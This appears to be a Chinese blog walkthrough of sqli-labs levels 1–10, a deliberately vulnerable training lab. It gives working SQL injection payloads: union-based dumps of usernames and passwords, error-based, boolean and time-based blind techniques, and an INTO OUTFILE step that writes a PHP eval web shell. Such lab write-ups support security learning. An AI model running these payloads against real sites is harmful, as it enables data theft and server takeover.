【靶场通关】sqli-labs less1-10

Less-1

提示 用 ID=数字做为输入参数
20210503221927
http://192.168.80.131/Less-1/?id=1

20210503222204

加个’测试。直接显示了 SQL 语法错误,说明这是一个注入点。
20210504060828
id 虽然输入为数值 这里看源码或尝试 id=1’ and 1=1 --+ 和 ’ and 1=2 --+ 结果不同
20210503222541

s q l = " S E L E C T ∗ F R O M u s e r s W H E R E i d = ′ sql="SELECT * FROM users WHERE id=' sql="SELECTFROMusersWHEREid=id’ LIMIT 0,1";
20210504062513
20210504063600
20210504063540

20210504063806

先发现了注入点,接下来就是猜解字段.
最直接的方法就是希望通过我们输入语句能直接执行完整的语句,这样就省事.常见的方法是 union 联合查询.
但联合查询必须知道字段名或字段数. 字段名我们不知到,相对于爆破字段名,猜字段数更高效些.
id=1 'union select 1,2,3–+ 这里 select 个数代表字段个数。如果字段数正确会正常显示,
否则内部显示 The used SELECT statements have a different number of columns
20210504072846
20210504072957
当然也可以通过排序的函数order by 字段序列号 可以猜解出当前表有几个字段.再用于 union
目前我们通过尝试知道有 3 个字段.接下来我们需要知道有一个回显示位,分别是显示的些字段.
实际上有一个回显位就够

用 id=-1 代替 id=1 让 union 前的查询语句不出结果,让结果集第一行为 union 后的查询结果

id=-1’ union select 1,2,4–+
20210504072733
对于不知道数据类型的字段可用 null NULL 代替 如: id=-1’ union select null,null,null–+
20210504074416

mysql 不同版本一些细节也不同
MySQL 版本⼩于 4.0 时,不⽀持 union select 联合查询
MySQL 版本⼤于 5.0 时,有默认数据库 information_schema,保存了 Mysql 所有数据库的信息,如库名,表名,字段的名及数据类型与访问权限等。该数据库拥有⼀个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

获取数据/信息
查当前数据库和数据库⽤户名
-1’ union select 1,database(),user() #
20210504075026
查当前的数据库版本和操作系统
-1’ union select 1,version(),@@version_compile_os–+
20210504075319
常规思路是闭合 数字型不用考虑闭合的问题。
字符型要考虑引号’或"的闭合 搜索型可能%的闭合 其他可能还存在); 等。
重上面步骤我们知道当前数据库为 security;注意 table_schema=为字符型要用’‘引起来,不然语法错误显示
查当前库的表名 (已知库名为 security)
#-1’ union select 1, table_name,table_schema from information_schema.tables where table_schema= ‘security’ --+
-1’ union select 1,group_concat(table_name),table_schema from information_schema.tables where table_schema= ‘security’ --+

group_concat 能将属于 table_name 表的表名组合到一行显示 > 20210504105531
查某表的列名 (已知表名为 user)
-1’ union select 1, 2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
group_concat 能将属于 users 表的列名组合到一行显示 > 20210504110058
查某表某列的值 (已知 表名 users 列名 username)
-1’ union select 1,group_concat(username),3 from users–+
-1’ union select 1,group_concat(username),password from users where username=‘admin’–+
20210504110820
mysql 注释的几种方法

#单行注释

–空格 MySQL 单行注释方法二 常用+替换空格 --+ oracle 的无空格

id=1‘ and (length (database()))>3–+

Less-2

20210504112322
访问提示 get id 一个数值作为参数
?id=1 显示正常
20210504112651
尝试 ’ 报 sql 错误 说明这里是存在注入点。
尝试’ and 1=1 --+ 和 ’ and 1=2 --+ 均显示 SQL Syntax 语法错误
尝试 and 1=1–+ 正常和 and 1=2–+ 无显示无报错,说明语句语法没错,只是没数据。
由此可判断次为数字型注入点。此类注入点无需考虑符合闭合,更简单方便些。
第一课已经知道大致数据库的字段结构。这里就省些步骤 直接 union

确认字段数

http://192.168.80.131/Less-2/?id=1 union select 1,2,3–+ 正常显示
http://192.168.80.131/Less-2/?id=1 union select 1,2,3,4–+ SQL 报错,The used SELECT statements have a different number of columns
说明字段数为 3

查看回显位

id 换为-1 使 union 前的查询失效 通过 union select 来查看哪几个字段能显示。
http://192.168.80.131/Less-2/?id=-1 union select 1,2,3–+
20210504114148

查看当前数据库名

20210504114315
得知前数据库名为 security

查看当前数据库存在的表名

http://192.168.80.131/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= ‘security’ --+
20210504114935

查看某表的列名

http://192.168.80.131/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
20210504115443
-1 union select 1,group_concat(username) ,password from users’
20210504115942
-1 union select 1,group_concat(username) ,password from users where username=‘admin’
20210504115857

Less-3

20210504120202
use near ‘‘1’’) LIMIT 0,1’ at line 1
关注报错 说明有个原 SQL 语句又个)
老套路试一波观察有啥区别
?id=1’ 报 SQL 语法错误,说明存在注入点
?id=1and 1=2–+ 和?id=1and 1=1–+ 均正常显示 说明非数字型
?id=1’and 1=2–+ 和?id=1’and 1=1–+ 均显示语法错误 可能是闭合问题
结合’的报错 尝试添加) 闭合
http://192.168.80.131/Less-3/?id=1’)–+ 正常显示 说明闭合成功。
参考前面 less-l less-2 得
http://192.168.80.131/Less-3/?id=-1’) union select 1,2,3–+
20210504121416
http://192.168.80.131/Less-3/?id=-1’) union select 1,group_concat(username) ,password from users where username=‘admin’–+
20210504121530

Less-4

老套路?id=1’发现为报错 and 和 ‘and 也均正常,
http://192.168.80.131/Less-4/?id=1’
20210504121658
正常可能就可能认为无注入点。但我们知道这个肯定有注入点怀疑可能是做过某种过滤 '被过滤或替换了。
尝试" 发现 报错 right syntax to use near ‘“1"”) LIMIT 0,1’ at line 1
20210504122405
看开应该 ID 应该用的双引号闭合
http://192.168.80.131/Less-4/?id=-1") union select 1,2,3 --+
20210504122656
http://192.168.80.131/Less-4/?id=-1") union select 1,username,password from users where username=‘admin’–+
20210504122834

Less-5

http://192.168.80.131/Less-5/?id=1
20210504122942
http://192.168.80.131/Less-5/?id=1’
报错 right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1 说明存在注入点,并且’–+应该能闭合
http://192.168.80.131/Less-5/?id=1’–+
20210504123643
确实能闭合,
尝试 id=1 id=2 均显示 You are in… 也就是说没有回显,查找 HTML response 均无相关信息 估计考点为盲注
尝试’id=1 and 1=1–+ 正常显示 和’id=1 and 1=2–+ 无显示 说明存字符布尔型的注入。
?id=1’ and length(“abc”)=2–+
?id=1’ and length(“abc”)=3–+

http://192.168.80.131/Less-5/?id=1’ union select 1,count(*), concat((select database()),":", floor(rand()*2))as a from information_schema.tables group by a–+

http://192.168.80.131/Less-5/?id=1’ union select 1,count(*), concat((select password from users where username=‘admin’ limit 0,1),":", floor(rand()*2))as a from information_schema.tables group by a–+
20210504143320

Less-6

同 less-5 ’ 换"
20210504151019

Less-7

/?id=1’ 直接报语法错误,不过是过异常处理过的报错
报错里看不出可能的闭合字符
20210504152159
'))

http://192.168.80.131/Less-7/?id=1’))–+
20210504152221

闭合成功
目前的问题是查询的数据无显示位,这样直接像通过语句看结果看不了,
20210504162941
http://192.168.80.131/Less-7/?id=-1’)) union select 1,2,3 into outfile “/var/lib/mysql/abcd.php”–+ 尝试写入文件。
注意 id=-1 nunion 后的 select
http://192.168.80.131/Less-7/?id=-1’)) union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile “/var/lib/mysql/123456.php” --+
然后去本机文件夹下查看文件是否写入成功。注意这里写入成功但页面上还是提示语法错误.
20210504163249
windows 下路径\ 注意用\转意
需要注意的是利用数据库 file 权限向操作系统写入文件时, 对于相同文件名的文件不能覆盖,所以如果第一次上传 chao.php,下次在上传 chao.php,就是无效命令了,也就是新的 chao,php 中的内容并不会覆盖,之前的 chao.php

Less-8

http://192.168.80.131/Less-8/?id=-1’ union select 1,"<?php @eval($_POST['chopper']);?>",3 into outfile “/var/lib/mysql/1234567.php” --+
20210504165440

Less-9

尝试 id=1 id=2 id=-1 id=1 id=" id=1’–+ id=1" --+ 均显示为同一个页面
猜测可能只会返回这一个页面 盲注的布尔型 没法判断.尝试时间型的方式注入

http://192.168.80.131/Less-9/?id=1’ and sleep(5)–+
20210504170856
时间注入效率是最低要等,还可能受网络的延迟导致判断失误。
有判断点 可结合截取字符函数一位一位的枚举出数据。

Less-10

http://192.168.80.131/Less-10/?id=1" and sleep(5)–+
类似 less-9 不过闭合符号不是’ 为"

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Zack_snair

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值